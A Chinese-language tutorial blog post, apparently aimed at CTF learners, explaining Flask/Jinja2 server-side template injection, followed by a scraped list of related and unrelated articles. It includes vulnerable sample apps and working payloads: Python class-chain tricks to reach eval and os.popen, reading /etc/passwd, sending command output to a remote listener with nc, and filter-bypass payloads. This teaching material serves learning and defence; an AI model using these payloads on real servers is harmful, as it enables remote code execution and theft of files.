SSTI(服务器模板注入)学习

0x01 SSTI概念

SSTI看到ss两个字母就会想到服务器,常见的还有SSRF(服务器端请求伪造)。SSTI就是服务器端模板注入(Server-Side Template Injection)

说到注入,我们常见的注入有sql注入,sql注入我们都很熟悉,但SSTI和sql注入一样都是先从用户获得一个输入将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

0x02 SSTI原理

来看一个简单的源代码

from flask import Flask, request
from jinja2 import Template app = Flask(__name__) @app.route("/")
def index():
name = request.args.get('name', 'guest') t = Template("Hello " + name)
return t.render() if __name__ == "__main__":
app.run()

这是一个典型的SSTI漏洞例子,成因是render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。

各框架模板结构:



更详细的服务器模板原理网上有很多,参考

SSTI模板注入

0x03 搭建Flask(Jinja2) 服务端模板注入漏洞环境

ctf中比较常见的还是python站的SSTI,下面用vulhub上的一个环境来复现Flask的SSTI漏洞

搭建好后直接访问

from flask import Flask
from flask import request, render_template_string, render_template app = Flask(__name__) @app.route('/login')
def hello_ssti():
person = {
'name': 'hello',
'secret': '7d793037a0760186574b0282f2f435e7'
}
if request.args.get('name'):
person['name'] = request.args.get('name') template = '<h2>Hello %s!</h2>' % person['name'] return render_template_string(template, person=person) if __name__ == "__main__":
app.run(debug=True)

测试注入

传参/login?name={{7*7}}看有什么回显



可以看到把括号里面的7*7进行了计算,说明存在SSTI漏洞

那该怎么扩大漏洞利用范围呢,这就要讲到一些python知识(这个漏洞不止在python上,各种语言的模板都可以有,只是大多是python),这里先给一个漏洞利用方法

执行任意命令payload

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }} //poppen的参数就是要执行的命令
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

内建函数

当我们启动一个python解释器时,及时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。

内建名称空间:python自带的名字,在python解释器启动时产生,存放一些python内置的名字​

我们主要关注的是内建名称空间,是名字到内建对象的映射,在python中,初始的builtins模块提供内建名称空间到内建对象的映射​

dir()函数用于向我们展示一个对象的属性有哪些,在没有提供对象的时候,将会提供当前环境所导入的所有模块,我们可以看到初始模块有哪些



这里面,我们可以看到__builtins__是做为默认初始模块出现的,那么用dir()命令看看__builtins__的成分



这里我们可以看到很多熟悉的模块都是初始自带的,比如:importstrlen等,因此python可以直接使用某些初始函数,比如直接使用len()函数



到这里可能会有点感觉,就是只要我们能找到一个预装模块或者类的内置方法,那么就可以直接使用这个方法搞事。

这里就得再说一下python的类

在python中

instance.class 可以获取当前实例的类对象,例如

''.__class__



这里返回的就是空字符串的类也就是,<type 'str'>

**class.mro **获取当前类对象的所有继承类'只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到



这里在python2中还会多一个basestring类

base 对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法



subclasses() 继承此对象的子类,返回一个列表

我们知道python中的类都是继承object的,所以只要调用object类对象的__subclasses__()方法就可以获取我们想要的类的对象,比如用于读取文件的file对象

更多函数模块参考:

沙盒逃逸常见函数

" ".__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> "".__class__.__mro__[-1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, ......]

由于继承object的子类有很多,查阅起来不方便,可以列举一下

>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
...
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
(19, <type 'buffer'>)
(20, <type 'long'>)
(21, <type 'frozenset'>)
(22, <type 'property'>)
(23, <type 'memoryview'>)
(24, <type 'tuple'>)
(25, <type 'enumerate'>)
(26, <type 'reversed'>)
(27, <type 'code'>)
(28, <type 'frame'>)
(29, <type 'builtin_function_or_method'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)
(32, <type 'classobj'>)
(33, <type 'dictproxy'>)
(34, <type 'generator'>)
(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
.........

可以发现在第四十号指向file类,所以就可以从file类中调用open方法

''.__class__.__mro__[-1].__subclasses__()[40]("/root/Desktop/ssti-test/app.py").read()



这里成功利用file对象的匿名实例化,并为其传参要读取的文件名,通过调用其读文件函数read就可以对文件进行读取了。

0x04 漏洞利用

在明白了基本原理后,来复现试一下,读取密码

''.__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read()

命令执行

python环境下常用的命令执行方式。

os.system()

用法:os.system(command)

但是用这个无法回显

我们可以用这个

os.popen()

用法:os.popen(command[,mode[,bufsize]])

说明:mode – 模式权限可以是 ‘r’(默认) 或 ‘w’。

popen方法通过p.read()获取终端输出,而且popen需要关闭close().当执行成功时,close()不返回任何值,失败时,close()返回系统返回值(失败返回1). 可见它获取返回值的方式和os.system不同。

还需要了解一个魔法函数

globals该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls ").read()' )



如果os被过滤了可以用

subprocess

1.subprocess.check_call()

Python 2.5中新增的函数。 执行指定的命令,如果执行成功则返回状态码,否则抛出异常。其功能等价于subprocess.run(…, check=True)。

2.subprocess.check_output()

Python 2.7中新增的的函数。执行指定的命令,如果执行状态码为0则返回命令执行结果,否则抛出异常。

3.subprocess.Popen(“command”)

说明:class subprocess.Popen(args, bufsize=0, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=False, shell=False, cwd=None, env=None, universal_newlines=False, startupinfo=None, creationflags=0)

Popen非常强大,支持多种参数和模式,通过其构造函数可以看到支持很多参数。但Popen函数存在缺陷在于,它是一个阻塞的方法,如果运行cmd命令时产生内容非常多,函数就容易阻塞。另一点,Popen方法也不会打印出cmd的执行信息。

__init__方法

__init__方法用于将对象实例化,在这个函数下我们可以通过funcglobals(或者__globals)看该模块下有哪些globals函数(注意返回的是字典),而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块。

组合payload:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
e62b7adab33a40c6b6f483c31505f0f6
e62b7adab33a40c6b6f483c31505f0f6

无回显处理

当我们用os命令执行没回显时,可以用nc把回显发到vps上

vps:nc -lvp 1234
payload: ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls | nc 127.0.0.1 1234')

#vps接收到回显
root@iZwz91vrssa7zn3rzmh3cuZ:~# nc -lvp 123
Listening on [0.0.0.0] (family 0, port 1234)
Connection from [xx.xxx.xx.xx] port 1234 [tcp/*] accepted (family 2, sport 46258)
app.py
ap.py
Config.py

反弹shell也是一样,有了命令执行,反弹shell应该是很方便了。

0x05 Bypass

在实战或者ctf里出现的SSTI大多不能直接利用,一般会过滤一些关键字,这就需要我们掌握更多姿势,下面介绍一些常见的

1.拼接

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

2.过滤""[]

借助request对象:(这种方法在沙盒种不行,在web下才行,因为需要传参)

request变量可以访问所有已发送的参数,因此我们可以request.args.param用来检索新的paramGET参数的值,将其中的request.args改为request.values则利用post的方式进行传参

{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

3.过滤双下划线__

还是request方法

{{
''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()
}}&class=__class__&mro=__mro__&subclasses=__subclasses__

4.过滤一些函数名如__import__,

python的初始模块_builtin__里有很多危险的方法,一条路没了就找找其他的路

我们可以直接用 eval() exec() execfile()等

__builtins__.eval()

globals

[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls')

0x06 参考

https://p0sec.net/index.php/archives/120/

https://www.k0rz3n.com/2018/05/04/Python%20%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%A4%87%E5%BF%98/

https://www.anquanke.com/post/id/188172#h3-15

https://0day.work/jinja2-template-injection-filter-bypasses/

https://blog.csdn.net/zz_Caleb/article/details/96480967

SSTI(服务器模板注入)学习的更多相关文章

  1. SSTI服务器模板注入(以及关于渲染,solt的学习)&&[BJDCTF2020]The mystery of ip 1

    ssti服务器模板注入 ssti:利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 Web 应用程序的内容结构. slo ...

  2. CTF SSTI(服务器模板注入)

    目录 基础 一些姿势 1.config 2.self 3.[].() 3.url_for, g, request, namespace, lipsum, range, session, dict, g ...

  3. 1. SSTI(模板注入)漏洞(入门篇)

    好久没更新博客了,现在主要在作源码审计相关工作,在工作中也遇到了各种语言导致的一些SSTI,今天就来大概说一下SSTI模板注入这个老生常谈的漏洞 前言 模板引擎 模板引擎(这里特指用于Web开发的模板 ...

  4. Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)

    0x00 漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题.缺陷进行跟踪管理. Atlassian Jira Server和 ...

  5. CTF-flask模板注入学习

    今天又看到了一道这样的题,之前一直都学不明白的东西 反反复复给你看的时候,就想搞明白了. 我们做题的,需要知道flask是怎么运行的就行了. 这个就是一个最简单的flask应用,当我们访问的时候,就会 ...

  6. Flask模板注入

    Flask模板注入 Flask模板注入漏洞属于经典的SSTI(服务器模板注入漏洞). Flask案例 一个简单的Flask应用案例: from flask import Flask,render_te ...

  7. 2018护网杯easy_tornado(SSTI tornado render模板注入)

    考点:SSTI注入 原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且 ...

  8. SSTI(模板注入)

    SSTI 一. 什么是SSTI 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档. ...

  9. XFF SSTI 模板注入 [BJDCTF2020]The mystery of ip

    转自https://www.cnblogs.com/wangtanzhi/p/12328083.html SSTI模板注入:之前也写过:https://www.cnblogs.com/wangtanz ...

随机推荐

  1. Java14:你需要知道的新特性

    基本介绍 2020 年 3 月 17 日,JDK / Java 14 正式 GA(General Available).这是自从 Java 采用六个月一次的发布周期之后的第五次发布. 此版本包含的 J ...

  2. Git应用详解第九讲:Git cherry-pick与Git rebase

    前言 前情提要:Git应用详解第八讲:Git标签.别名与Git gc 这一节主要介绍git cherry-pick与git rebase的原理及使用. 一.Git cherry-pick Git ch ...

  3. Linux常用命令01(文件和目录)

    目标 查看目录内容 ls 切换目录 cd 创建和删除文件 touch rm mkdir 拷贝和移动文件 cp mv 查看文件内容 cat more grep 其他 echo 重定向 > 和 &g ...

  4. 使用d3.js的时候,如何用zoom translate scale限制拖拽范围

    红色代表需要改写的代码 1.添加定义图像大小和容器的大小及坐标 d3.behavior.zoom = function () { var moveCanvas={ width: , height: , ...

  5. Feature list, Standard and Test plan for BETA Release 12/22/2015

    ===================BETA RELEASE FEATRURE LIST==================== 1. Log in and account manager for ...

  6. stand up meeting 12/3/2015

    part 组员 今日工作 工作耗时/h 明日计划 工作耗时/h UI 冯晓云 初始化弹窗的弹出位置并捕捉弹窗区域内的鼠标控制事件,初步解决弹窗的拖拽功能:    6 UWP对控件的支持各种看不懂,属性 ...

  7. 杭电1080 J - Human Gene Functions

    题目大意: 两个字符串,可以再中间任何插入空格,然后让这两个串匹配,字符与字符之间的匹配有各自的分数,求最大分数 最长公共子序列模型. dp[i][j]表示当考虑吧串1的第i个字符和串2的第j个字符时 ...

  8. 1196F - K-th Path

    题目链接: http://codeforces.com/problemset/problem/1196/F 题目大意::无向图,求任意两点第k短的路径 思路:按照边的大小,只保留前K个边,如果不连同的 ...

  9. Largest Rectangle in a Histogram 杭电1506

    题目链接 :http://acm.hdu.edu.cn/showproblem.php?pid=1506 Problem Description A histogram is a polygon co ...

  10. [书籍精读]《React Native精解与实战》精读笔记分享

    写在前面 书籍介绍:本书由架构师撰写,包含ReactNative框架底层原理,以及与iOS.Android混合开发案例,精选了大量实例代码,方便读者快速学习.主要内容分为两大部分,第1部分" ...